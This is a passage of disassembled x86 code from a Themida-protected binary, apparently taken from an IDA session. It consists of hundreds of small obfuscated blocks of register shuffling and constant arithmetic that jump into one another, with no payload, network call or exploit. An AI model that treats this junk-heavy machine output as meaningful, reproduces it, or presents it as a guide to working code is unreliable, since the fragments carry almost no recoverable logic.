; ---------------------------------------------------------------------------


loc_556F35:				; CODE XREF: Themida_:0055C1B0j
		add	eax, ebx
		jmp	loc_55265B
; ---------------------------------------------------------------------------


loc_556F3C:				; CODE XREF: Themida_:0055AE6Bj
		add	esi, 4
		sub	esp, 4
		jmp	loc_5554FF
; ---------------------------------------------------------------------------


loc_556F4D:				; CODE XREF: Themida_:0055D8B5j
		add	esp, 4
		jmp	loc_55C31E
; ---------------------------------------------------------------------------


loc_556F55:				; CODE XREF: Themida_:0055DA04j
		inc	eax
		and	eax, 6C870D47h
		sub	eax, 0BB9D65h
		jmp	loc_55A0C3
; ---------------------------------------------------------------------------


loc_556F65:				; CODE XREF: Themida_:00557666j
		add	ecx, 58EF6C16h
		jmp	loc_55AD1B
; ---------------------------------------------------------------------------


loc_556F70:				; CODE XREF: Themida_:00557726j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55D78A
; ---------------------------------------------------------------------------


loc_556F7E:				; CODE XREF: Themida_:0055A852j
		mov	esp, [esp]
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_556F8B:				; CODE XREF: Themida_:00557AFEj
		pop	eax
		jmp	loc_5572D9
; ---------------------------------------------------------------------------


loc_556F91:				; CODE XREF: Themida_:0055190Ej
		mov	dh, ch
		pop	ecx
		add	al, dh
		pop	edx
		add	al, cl
		sub	al, 77h
		mov	cx, [esp]
		push	ecx
		mov	ecx, esp
		push	ebp
		jmp	loc_558809
; ---------------------------------------------------------------------------


loc_556FA8:				; CODE XREF: Themida_:0055AD16j
		add	[esp+8], eax
		jmp	loc_55CD61
; ---------------------------------------------------------------------------


loc_556FB1:				; CODE XREF: Themida_:0055846Dj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_557E10
; ---------------------------------------------------------------------------


loc_556FBC:				; CODE XREF: Themida_:0055BFCFj
		push	ebp
		pop	eax
		jmp	loc_55506E
; ---------------------------------------------------------------------------


loc_556FC3:				; CODE XREF: Themida_:00553A10j
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_55BC33
; ---------------------------------------------------------------------------


loc_556FCD:				; CODE XREF: Themida_:0055606Fj
		pop	edi
		jmp	loc_55BDED
; ---------------------------------------------------------------------------


loc_556FD3:				; CODE XREF: Themida_:00556BD4j
		xor	edi, ecx
		pop	ecx
		push	edx
		mov	edx, 63E14AC8h
		jmp	loc_55B665
; ---------------------------------------------------------------------------


loc_556FE1:				; CODE XREF: Themida_:0055619Dj
		add	eax, 49207D0h
		jmp	loc_557A96
; ---------------------------------------------------------------------------


loc_556FEB:				; CODE XREF: Themida_:0055C353j
		xor	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	esp
		pop	edx
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		add	edx, 2
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_551974
; ---------------------------------------------------------------------------


loc_55700E:				; CODE XREF: Themida_:0055DB10j
		push	edx
		mov	dl, 0C9h
		sub	dl, 35h
		sub	bl, 88h
		add	bl, dl
		add	bl, 88h
		pop	edx
		jmp	loc_55AE3A
; ---------------------------------------------------------------------------


loc_557022:				; CODE XREF: Themida_:0055B39Cj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, ebx
		push	ecx
		push	esi
		mov	ecx, [esp]
		jmp	loc_5573F9
; ---------------------------------------------------------------------------


loc_557038:				; CODE XREF: Themida_:0055DD33j
		or	eax, 671B4A41h
		shl	eax, 8
		xor	eax, 0BF6B5700h
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		add	edx, ecx
		jmp	loc_55C606
; ---------------------------------------------------------------------------


loc_557057:				; CODE XREF: Themida_:0055860Ej
		pop	esp
		mov	ebx, ebp
		pop	ebp
		mov	dword ptr [edx+30h], 0FCF4826Fh
		add	[edx+30h], ebx
		mov	ebx, [esp]
		push	ebx
		jmp	loc_552809
; ---------------------------------------------------------------------------


loc_55706E:				; CODE XREF: Themida_:00552063j
		shr	esi, 5
		inc	esi
		jmp	loc_55C69B
; ---------------------------------------------------------------------------


loc_557077:				; CODE XREF: Themida_:00555F2Fj
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55707C:				; CODE XREF: Themida_:0055950Ej
		inc	al
		jmp	loc_556987
; ---------------------------------------------------------------------------


loc_557083:				; CODE XREF: Themida_:00559C26j
		push	3B71h
		mov	[esp], esi
		mov	esi, esp
		push	edx
		mov	edx, 210370FFh
		dec	edx
		dec	edx
		jmp	loc_55AFBB
; ---------------------------------------------------------------------------


loc_55709A:				; CODE XREF: Themida_:0055CECBj
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_55D33E
; ---------------------------------------------------------------------------


loc_5570A5:				; CODE XREF: Themida_:0055AFACj
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		div	ecx
		jmp	loc_55B0C8
; ---------------------------------------------------------------------------


loc_5570B9:				; CODE XREF: Themida_:0055BD70j
		push	eax
		mov	eax, 2
		jmp	loc_554009
; ---------------------------------------------------------------------------


loc_5570C4:				; CODE XREF: Themida_:0055D0B4j
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		sub	esp, 4
		jmp	loc_553EF2
; ---------------------------------------------------------------------------


loc_5570E4:				; CODE XREF: Themida_:0055A244j
		add	ebp, 5100515Eh
		pop	ebx
		mov	ecx, 0BF1D9D52h
		jmp	loc_55D357
; ---------------------------------------------------------------------------


loc_5570F5:				; CODE XREF: Themida_:0055B869j
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		jmp	loc_553ADF
; ---------------------------------------------------------------------------


loc_557104:				; CODE XREF: Themida_:0055331Aj
		mov	ecx, eax
		pop	eax
		jmp	loc_55379B
; ---------------------------------------------------------------------------


loc_55710C:				; CODE XREF: Themida_:00556238j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55B236
; ---------------------------------------------------------------------------


loc_557115:				; CODE XREF: Themida_:00551E2Cj
		xor	eax, [esp]
		pop	esp
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		xor	[edi+24h], edx
		xor	edx, [edi+24h]
		jmp	loc_55B574
; ---------------------------------------------------------------------------


loc_55712E:				; CODE XREF: Themida_:005580D0j
		and	ebx, 7E1473B5h
		xchg	ebp, ebx
		dec	ebp
		xchg	ebp, ebx
		not	ebx
		push	ecx
		mov	ecx, 46A4720Ch
		sub	ecx, 4410439Ah
		add	ecx, 2B253C0Ch
		or	ecx, 9D90998h
		add	ecx, 0CA068A4Eh
		xor	ebx, ecx
		pop	ecx
		and	eax, ebx
		jmp	loc_55C87F
; ---------------------------------------------------------------------------


loc_557163:				; CODE XREF: Themida_:0055A729j
		mov	ch, 2Fh
		add	al, ch
		pop	cx
		add	al, bl
		push	ecx
		mov	ch, 0B4h
		sub	ch, 85h
		jmp	loc_557A78
; ---------------------------------------------------------------------------
		push	6684h
		mov	[esp], ebx
		push	1235h
		mov	[esp], ebp
		mov	ebp, 3F540CB7h
		shl	ebp, 3
		xor	ebp, 0FAA06580h
		mov	ebx, ebp
		jmp	loc_55A650
; ---------------------------------------------------------------------------


loc_55719B:				; CODE XREF: Themida_:00558804j
		push	edx
		mov	edx, 650914EAh
		sub	eax, edx
		pop	edx
		add	eax, 2D48513Eh
		jmp	loc_5549C2
; ---------------------------------------------------------------------------


loc_5571AE:				; CODE XREF: Themida_:00557582j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_5571BD:				; CODE XREF: Themida_:0055A1B5j
		pop	edi
		jmp	loc_55322C
; ---------------------------------------------------------------------------


loc_5571C3:				; CODE XREF: Themida_:0055B660j
		mov	edi, 0DC34387h
		sub	[esp+4], edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5523CD
; ---------------------------------------------------------------------------


loc_5571D5:				; CODE XREF: Themida_:005572AFj
		add	edi, 94F5A614h
		and	edx, edi
		jmp	loc_55AB1D
; ---------------------------------------------------------------------------


loc_5571E2:				; CODE XREF: Themida_:00555C83j
		sub	ebp, edi
		pop	edi
		add	ebp, 196694Dh
		sub	ebp, 2641BC7h
		add	ebp, 0CE01D9F9h
		xor	esi, ebp
		pop	ebp
		add	esi, 1A0F45F3h
		xor	esi, 0BC73DCB0h
		add	edx, esi
		jmp	loc_55512D
; ---------------------------------------------------------------------------


loc_55720D:				; CODE XREF: Themida_:0055A7C9j
		push	ebx
		mov	ebx, 2C760B65h
		shr	ebx, 7
		shl	ebx, 4
		push	eax
		mov	eax, 6528097Eh
		and	ebx, eax
		pop	eax
		add	ebx, 0FAF7FEA4h
		add	eax, ebx
		pop	ebx
		push	edx
		mov	edx, 46EE5D50h
		push	edi
		mov	edi, 557E12B3h
		sub	edx, edi
		pop	edi
		jmp	loc_554EBC
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		push	1770h
		mov	[esp], esp
		jmp	loc_5539BA
; ---------------------------------------------------------------------------


loc_557251:				; CODE XREF: Themida_:005526F9j
		add	bp, 1D31h
		pop	bx
		push	dx
		jmp	loc_553BA7
; ---------------------------------------------------------------------------


loc_55725F:				; CODE XREF: Themida_:00551AD8j
		push	ebx
		mov	bl, 0CDh
		add	bl, 1
		sub	bl, 0E2h
		sub	bl, 58h
		shr	bl, 2
		shl	bl, 5
		xor	bl, 0A9h
		and	dh, bl
		pop	ebx
		sub	dh, 0C7h
		neg	dh
		xor	dh, 3Bh
		push	eax
		jmp	loc_55D604
; ---------------------------------------------------------------------------


loc_557285:				; CODE XREF: Themida_:0055819Aj
		push	eax
		mov	eax, 3245319Dh
		push	ebp
		push	7FE252EAh
		pop	ebp
		xor	eax, ebp
		pop	ebp
		inc	eax
		push	0
		sub	[esp], eax
		pop	eax
		shr	eax, 5
		sub	eax, 0FFFFFFFFh
		jmp	loc_55335E
; ---------------------------------------------------------------------------


loc_5572AC:				; CODE XREF: Themida_:0055A2F0j
		dec	edi
		neg	edi
		jmp	loc_5571D5
; ---------------------------------------------------------------------------


loc_5572B4:				; CODE XREF: Themida_:00552629j
		mov	ebp, [esp]
		add	esp, 4
		sub	ebp, ecx
		pop	ecx
		xor	esi, ebp
		pop	ebp
		sub	[edi+24h], esi
		jmp	loc_5540C3
; ---------------------------------------------------------------------------


loc_5572C8:				; CODE XREF: Themida_:00555202j
		mov	eax, [esp]
		add	esp, 4
		add	edx, 2
		jmp	loc_551B55
; ---------------------------------------------------------------------------


loc_5572D9:				; CODE XREF: Themida_:00556F8Cj
		add	ebp, 4
		jmp	loc_55A9D7
; ---------------------------------------------------------------------------


loc_5572E4:				; CODE XREF: Themida_:0055D6A1j
		add	ebp, edx
		jmp	loc_5546AE
; ---------------------------------------------------------------------------


loc_5572EB:				; CODE XREF: Themida_:00557378j
		push	eax
		mov	al, cl
		mov	dl, al
		pop	eax
		pop	ecx
		add	bh, dl
		pop	edx
		add	al, bh
		pop	ebx
		add	al, cl
		sub	al, 7Eh
		mov	cx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55C259
; ---------------------------------------------------------------------------


loc_557317:				; CODE XREF: Themida_:00554BE7j
		push	edi
		jmp	loc_559F41
; ---------------------------------------------------------------------------


loc_55731D:				; CODE XREF: Themida_:00557887j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 3CBB7A15h
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 1D6F171Bh
		push	edi
		mov	edi, 0A3559h
		push	edx
		mov	edx, 14A49174h
		add	edi, edx
		pop	edx
		add	eax, 1E4129B5h
		sub	eax, edi
		jmp	loc_55CE37
; ---------------------------------------------------------------------------


loc_55735A:				; CODE XREF: Themida_:00557CC6j
		mov	ebx, 1304187Dh
		jmp	loc_558B27
; ---------------------------------------------------------------------------


loc_557364:				; CODE XREF: Themida_:00557F59j
		mov	bh, 70h
		not	bh
		xchg	dh, bh
		not	dh
		xchg	dh, bh
		sub	bh, 0FFh
		shr	bh, 7
		push	edx
		push	ecx
		mov	cl, 7Eh
		jmp	loc_5572EB
; ---------------------------------------------------------------------------


loc_55737D:				; CODE XREF: Themida_:00557845j
		dec	ecx
		dec	ecx
		xor	ecx, 162D5FDBh
		sub	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	esi, 41503954h
		add	esi, eax
		push	eax
		mov	eax, 4A60425Ah
		jmp	loc_55AD37
; ---------------------------------------------------------------------------


loc_5573A0:				; CODE XREF: Themida_:0055D4E7j
		mov	ebx, 5D440667h
		jmp	loc_557486
; ---------------------------------------------------------------------------


loc_5573AA:				; CODE XREF: Themida_:005558E2j
		push	esi
		mov	esi, 512E2C06h
		shr	esi, 4
		sub	esi, 76BD592Fh
		xor	esi, 136660E1h
		jmp	loc_55C9FA
; ---------------------------------------------------------------------------


loc_5573C4:				; CODE XREF: Themida_:005562D9j
		push	esi
		mov	esi, 17DA3070h
		add	esi, 2D6DE768h
		sub	edx, 8AC2EC5h
		sub	edx, 6D183B8Eh
		sub	edx, esi
		add	edx, 6D183B8Eh
		jmp	loc_557BEC
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], ax
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_5573F9:				; CODE XREF: Themida_:00557033j
		add	esp, 4
		mov	edx, ecx
		pop	ecx
		pop	esi
		pop	ebx


loc_557404:				; CODE XREF: Themida_:00552516j
					; Themida_:005589C5j
		push	1CA0h
		mov	[esp], ecx
		jmp	loc_55C6DF
; ---------------------------------------------------------------------------


loc_557411:				; CODE XREF: Themida_:0055AF9Dj
		push	ebx
		jmp	loc_557E5D
; ---------------------------------------------------------------------------


loc_557417:				; CODE XREF: Themida_:00556179j
		push	dword ptr [esp]
		jmp	loc_5535FA
; ---------------------------------------------------------------------------


loc_55741F:				; CODE XREF: Themida_:00554465j
		push	edx
		mov	edx, esp
		push	1034h
		mov	[esp], eax
		jmp	loc_55BC97
; ---------------------------------------------------------------------------


loc_55742F:				; CODE XREF: Themida_:005569BEj
		sub	edx, 6CD81F9Bh
		sub	edx, edi
		jmp	loc_5589D1
; ---------------------------------------------------------------------------


loc_55743C:				; CODE XREF: Themida_:005594F0j
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	ebp
		mov	ebp, 0C15144Eh
		jmp	loc_55AE8D
; ---------------------------------------------------------------------------


loc_557450:				; CODE XREF: Themida_:00556CB8j
		pop	esi
		sub	edi, 508C4A63h
		mov	esi, edi
		pop	edi
		or	edx, esi
		pop	esi
		or	edx, 77221D24h
		xor	edx, 6D0D1ABAh
		push	edi
		mov	edi, edx
		mov	ebp, edi
		pop	edi
		jmp	loc_55252E
; ---------------------------------------------------------------------------


loc_557474:				; CODE XREF: Themida_:0055BC6Fj
		push	6FB2h
		mov	[esp], ebp
		push	esp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5540E0
; ---------------------------------------------------------------------------


loc_557486:				; CODE XREF: Themida_:005573A5j
		push	ebx
		push	ebx
		mov	ebx, 10C826CDh
		sub	[esp+4], ebx
		pop	ebx
		pop	ebp
		add	ebp, 10C826CDh
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55AC5E
; ---------------------------------------------------------------------------


loc_5574A2:				; CODE XREF: Themida_:005576BDj
		mov	edx, [esp]
		add	esp, 4
		add	bl, 29h
		push	edx
		mov	dh, 8Bh
		not	dh
		jmp	loc_552ECB
; ---------------------------------------------------------------------------


loc_5574B5:				; CODE XREF: Themida_:00556779j
		xor	eax, edi
		push	esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4BF51B3Fh
		neg	edx
		neg	edx
		jmp	loc_55CF6E
; ---------------------------------------------------------------------------


loc_5574CF:				; CODE XREF: Themida_:00552784j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	al, cl
		mov	cx, [esp]
		push	24DDh
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		add	esi, 2
		xchg	esi, [esp]
		mov	esp, [esp]
		push	184Ch
		mov	[esp], edx
		mov	dl, 0CDh
		jmp	loc_558F48
; ---------------------------------------------------------------------------


loc_557512:				; CODE XREF: Themida_:0055A98Dj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	ah, 90h
		jmp	loc_55A6A6
; ---------------------------------------------------------------------------


loc_557529:				; CODE XREF: Themida_:0055927Bj
		pop	ebp
		add	esi, eax
		sub	esi, 3EC64EF1h
		sub	esi, 2D5E4A7Dh
		sub	esp, 4
		jmp	loc_556D86
; ---------------------------------------------------------------------------


loc_557540:				; CODE XREF: Themida_:00559EF9j
		pop	esi
		jmp	loc_556E64
; ---------------------------------------------------------------------------


loc_557546:				; CODE XREF: Themida_:00553462j
		push	esi
		mov	esi, 7B8D2ADDh
		jmp	loc_551E0B
; ---------------------------------------------------------------------------


loc_557551:				; CODE XREF: Themida_:0055A24Ej
		xchg	ebp, ebx
		add	ebx, 69D13BA1h
		sub	ebx, 3D7C14B6h
		sub	eax, ebx
		pop	ebx
		jmp	loc_5546F3
; ---------------------------------------------------------------------------


loc_557567:				; CODE XREF: Themida_:0055958Ej
		sub	edi, 44B0407Ch
		mov	esi, edi
		pop	edi
		add	eax, esi
		pop	esi
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_5571AE
; ---------------------------------------------------------------------------


loc_557587:				; CODE XREF: Themida_:00555E2Aj
		shr	ebp, 3
		sub	ebp, 92CE659Fh
		mov	esi, ebp
		pop	ebp
		push	ebx
		mov	ebx, 7A04694Ch
		push	ecx
		mov	ecx, 1BE91D53h
		or	ebx, ecx
		jmp	loc_5518C2
; ---------------------------------------------------------------------------


loc_5575A6:				; CODE XREF: Themida_:00559529j
		or	ebp, 35903FA8h
		xor	ebp, 35983FAEh
		add	esi, ebp
		pop	ebp
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_556E70
; ---------------------------------------------------------------------------


loc_5575C0:				; CODE XREF: Themida_:0055B731j
		add	edx, 5DDA23E1h
		mov	edi, [esp]
		push	ebx
		jmp	loc_556B7A
; ---------------------------------------------------------------------------


loc_5575CF:				; CODE XREF: Themida_:005595EEj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		mov	edx, [esp]
		push	ecx
		jmp	loc_55BEC0
; ---------------------------------------------------------------------------


loc_5575F7:				; CODE XREF: Themida_:00555FA9j
		pop	esi
		push	737Fh
		mov	[esp], ebp
		push	ecx
		mov	ecx, 39883107h
		jmp	loc_559864
; ---------------------------------------------------------------------------


loc_55760B:				; CODE XREF: Themida_:0055B57Ej
		push	ecx
		mov	ecx, 388A33EEh
		neg	ecx
		jmp	loc_559E01
; ---------------------------------------------------------------------------


loc_557618:				; CODE XREF: Themida_:005548ECj
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	eax
		push	ebp
		mov	ebp, 75C925D9h
		mov	eax, ebp
		jmp	loc_5582FD
; ---------------------------------------------------------------------------


loc_557631:				; CODE XREF: Themida_:005587A4j
		mov	eax, esp
		push	edi
		jmp	loc_55DD6B
; ---------------------------------------------------------------------------


loc_557639:				; CODE XREF: Themida_:0055CC38j
		push	ecx
		mov	ecx, 89A7DDBh
		jmp	loc_5535AB
; ---------------------------------------------------------------------------


loc_557644:				; CODE XREF: Themida_:00557E49j
		push	ebx
		push	ecx
		mov	ecx, 7B772387h
		mov	ebx, 668C5C45h
		xor	ebx, ecx
		jmp	loc_55CE82
; ---------------------------------------------------------------------------


loc_557657:				; CODE XREF: Themida_:00553A7Aj
		push	edx
		mov	edx, 69482AAEh
		push	edx
		sub	dword ptr [esp], 58EF6C16h
		pop	ecx
		jmp	loc_556F65
; ---------------------------------------------------------------------------


loc_55766B:				; CODE XREF: Themida_:0055459Bj
		pop	ecx
		jmp	loc_55ADE0
; ---------------------------------------------------------------------------


loc_557671:				; CODE XREF: Themida_:00555DD9j
		push	eax
		jmp	loc_557EEA
; ---------------------------------------------------------------------------


loc_557677:				; CODE XREF: Themida_:005537C3j
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		push	49E7h
		mov	[esp], eax
		jmp	loc_556C08
; ---------------------------------------------------------------------------


loc_557694:				; CODE XREF: Themida_:00558034j
		neg	esi
		add	esi, 3C9F0C75h
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_556225
; ---------------------------------------------------------------------------


loc_5576B5:				; CODE XREF: Themida_:005523B3j
		add	bl, 0E3h
		sub	bl, dl
		sub	bl, 0E3h
		jmp	loc_5574A2
; ---------------------------------------------------------------------------


loc_5576C2:				; CODE XREF: Themida_:0055383Cj
		push	eax
		jmp	loc_554AE3
; ---------------------------------------------------------------------------


loc_5576C8:				; CODE XREF: Themida_:005567C7j
		mov	[esp], eax
		push	ebx
		push	edx
		mov	edx, 6CC02A98h
		not	edx
		xor	edx, 56FD0231h
		jmp	loc_55B184
; ---------------------------------------------------------------------------


loc_5576DF:				; CODE XREF: Themida_:0055283Bj
		add	[esp+4], esi
		pop	esi
		pop	ebp
		add	ebp, 4
		jmp	loc_551E45
; ---------------------------------------------------------------------------


loc_5576F0:				; CODE XREF: Themida_:0055B0DDj
		add	ecx, 0D45534Ah
		add	ecx, 26977663h
		jmp	loc_5554DD
; ---------------------------------------------------------------------------


loc_557701:				; CODE XREF: Themida_:005583C7j
		sub	esi, 8056DF3Eh
		jmp	loc_55B9D5
; ---------------------------------------------------------------------------


loc_55770C:				; CODE XREF: Themida_:005596C4j
		mov	[esp], ecx
		push	ebx
		mov	bl, 52h
		mov	ch, 0B5h
		jmp	loc_5565A5
; ---------------------------------------------------------------------------


loc_557719:				; CODE XREF: Themida_:00554E61j
		add	esp, 4
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_557724:				; CODE XREF: Themida_:00558C9Dj
		sub	al, cl
		jmp	loc_556F70
; ---------------------------------------------------------------------------


loc_55772B:				; CODE XREF: Themida_:0055BDE8j
		add	esp, 4
		push	ebx
		jmp	loc_551D98
; ---------------------------------------------------------------------------


loc_557737:				; CODE XREF: Themida_:00558255j
		xchg	eax, [esp]
		jmp	loc_557B72
; ---------------------------------------------------------------------------


loc_55773F:				; CODE XREF: Themida_:0055868Aj
		dec	ebx
		dec	ebx
		inc	ebx
		jmp	loc_55A571
; ---------------------------------------------------------------------------


loc_557747:				; CODE XREF: Themida_:00559817j
		pop	ebp
		push	edx
		jmp	loc_55825A
; ---------------------------------------------------------------------------


loc_55774E:				; CODE XREF: Themida_:00557FD7j
		xchg	edi, edx
		pop	edi
		inc	edx
		sub	esp, 4
		mov	[esp], ecx
		push	4A763C66h
		jmp	loc_552930
; ---------------------------------------------------------------------------


loc_557765:				; CODE XREF: Themida_:00555492j
		mov	edi, [esp]
		push	6DAEh
		mov	[esp], edx
		jmp	loc_55622D
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_55545A
; ---------------------------------------------------------------------------


loc_557793:				; CODE XREF: Themida_:00556E93j
		push	2967h
		mov	[esp], ecx
		mov	ecx, 2
		add	edx, ecx
		pop	ecx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	ax, [esp]
		jmp	loc_552F40
; ---------------------------------------------------------------------------


loc_5577B6:				; CODE XREF: Themida_:00559857j
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_5577BB:				; CODE XREF: Themida_:005518F9j
		push	ecx
		mov	ecx, 66034DDBh
		add	ecx, 5A970719h
		sub	ecx, 47301B5h
		add	ecx, 0F5F5BE6h
		xor	ecx, 48AAC309h
		add	esi, ecx
		pop	ecx
		mov	edx, esi
		jmp	loc_553F09
; ---------------------------------------------------------------------------


loc_5577E3:				; CODE XREF: Themida_:00553746j
		add	edi, 4
		jmp	loc_551D22
; ---------------------------------------------------------------------------


loc_5577EE:				; CODE XREF: Themida_:00556E5Fj
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_5577F3:				; CODE XREF: Themida_:00556A8Ej
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_5525B8
; ---------------------------------------------------------------------------


loc_557814:				; CODE XREF: Themida_:0055C7EAj
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_559A5B
; ---------------------------------------------------------------------------


loc_557823:				; CODE XREF: Themida_:00559E9Dj
		push	ebp
		mov	ebp, 291A26E1h
		mov	esi, 788087B3h
		sub	esi, ebp
		pop	ebp
		dec	esi
		jmp	loc_553B5B
; ---------------------------------------------------------------------------


loc_557837:				; CODE XREF: Themida_:005546EEj
		push	small 0A0Ah
		mov	[esp], cx
		jmp	loc_551BB4
; ---------------------------------------------------------------------------


loc_557844:				; CODE XREF: Themida_:00556A67j
		inc	ecx
		jmp	loc_55737D
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	edx
		push	eax
		push	esi
		mov	esi, 0C1871A4h
		mov	eax, 837BCB36h
		sub	eax, esi
		pop	esi
		jmp	loc_55B38D
; ---------------------------------------------------------------------------


loc_557862:				; CODE XREF: Themida_:0055B412j
		pop	esi
		xor	eax, 46B8040Ch
		add	esi, eax
		jmp	loc_55C4B5
; ---------------------------------------------------------------------------


loc_55786F:				; CODE XREF: Themida_:0055C54Aj
		add	dh, ah
		pop	eax
		or	ch, dh
		jmp	loc_55AA58
; ---------------------------------------------------------------------------


loc_557879:				; CODE XREF: Themida_:0055C6FEj
		pop	edx
		jmp	loc_555253
; ---------------------------------------------------------------------------


loc_55787F:				; CODE XREF: Themida_:0055524Ej
		sub	eax, edx
		sub	eax, 5C8055F8h
		pop	edx
		jmp	loc_55731D
; ---------------------------------------------------------------------------


loc_55788C:				; CODE XREF: Themida_:00555CBCj
		mov	cl, 0DCh
		dec	cl
		shl	cl, 7
		neg	cl
		not	cl
		add	cl, 35h
		jmp	loc_555B87
; ---------------------------------------------------------------------------


loc_55789F:				; CODE XREF: Themida_:0055AA4Bj
		sub	ebx, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_556CDB
; ---------------------------------------------------------------------------


loc_5578AC:				; CODE XREF: Themida_:005558FFj
		xor	esi, 7E8EE58Ah
		add	eax, esi
		jmp	loc_55835C
; ---------------------------------------------------------------------------


loc_5578B9:				; CODE XREF: Themida_:005518C4j
		inc	ebx
		and	ebx, 519C228Bh
		jmp	loc_55181F
; ---------------------------------------------------------------------------


loc_5578C5:				; CODE XREF: Themida_:00551CA6j
		add	eax, 75A24E8Ah
		jmp	loc_55B9A2
; ---------------------------------------------------------------------------


loc_5578CF:				; CODE XREF: Themida_:00557C7Aj
		mov	edx, 6D0B1FD7h
		xor	edx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ecx, edx
		pop	edx
		add	ecx, 2
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_559445
; ---------------------------------------------------------------------------


loc_5578FC:				; CODE XREF: Themida_:00553328j
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_55C703
; ---------------------------------------------------------------------------


loc_557910:				; CODE XREF: Themida_:00559AABj
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		and	eax, ebx
		pop	ebx
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		jmp	loc_551B44
; ---------------------------------------------------------------------------


loc_557931:				; CODE XREF: Themida_:005555B6j
		sub	ebx, eax
		jmp	loc_553878
; ---------------------------------------------------------------------------


loc_557938:				; CODE XREF: Themida_:0055AEF3j
		add	eax, 441C6BF5h
		push	ecx
		mov	ecx, 6CC33938h
		jmp	loc_5564B9
; ---------------------------------------------------------------------------


loc_557948:				; CODE XREF: Themida_:005525E5j
		add	ebp, 5778391Fh
		pop	ecx
		sub	ebp, 0CDF31E5Bh
		sub	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_558E1C
; ---------------------------------------------------------------------------


loc_557962:				; CODE XREF: Themida_:00558267j
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		shr	edi, 2
		neg	edi
		xor	edi, 0EB62DB61h
		add	eax, edi
		jmp	loc_55229A
; ---------------------------------------------------------------------------


loc_55797F:				; CODE XREF: Themida_:00558110j
		pop	esp
		mov	[esp], dx
		mov	dl, 2Fh
		not	dl
		dec	dl
		push	eax
		mov	ah, 0BEh
		add	ah, 19h
		dec	ah
		xor	ah, 79h
		or	dl, ah
		pop	eax
		and	dl, 1Fh
		shl	dl, 4
		sub	dl, 0E9h
		jmp	loc_5541F8
; ---------------------------------------------------------------------------


loc_5579A6:				; CODE XREF: Themida_:0055B3F2j
		sub	ebp, ecx
		jmp	loc_5539A2
; ---------------------------------------------------------------------------
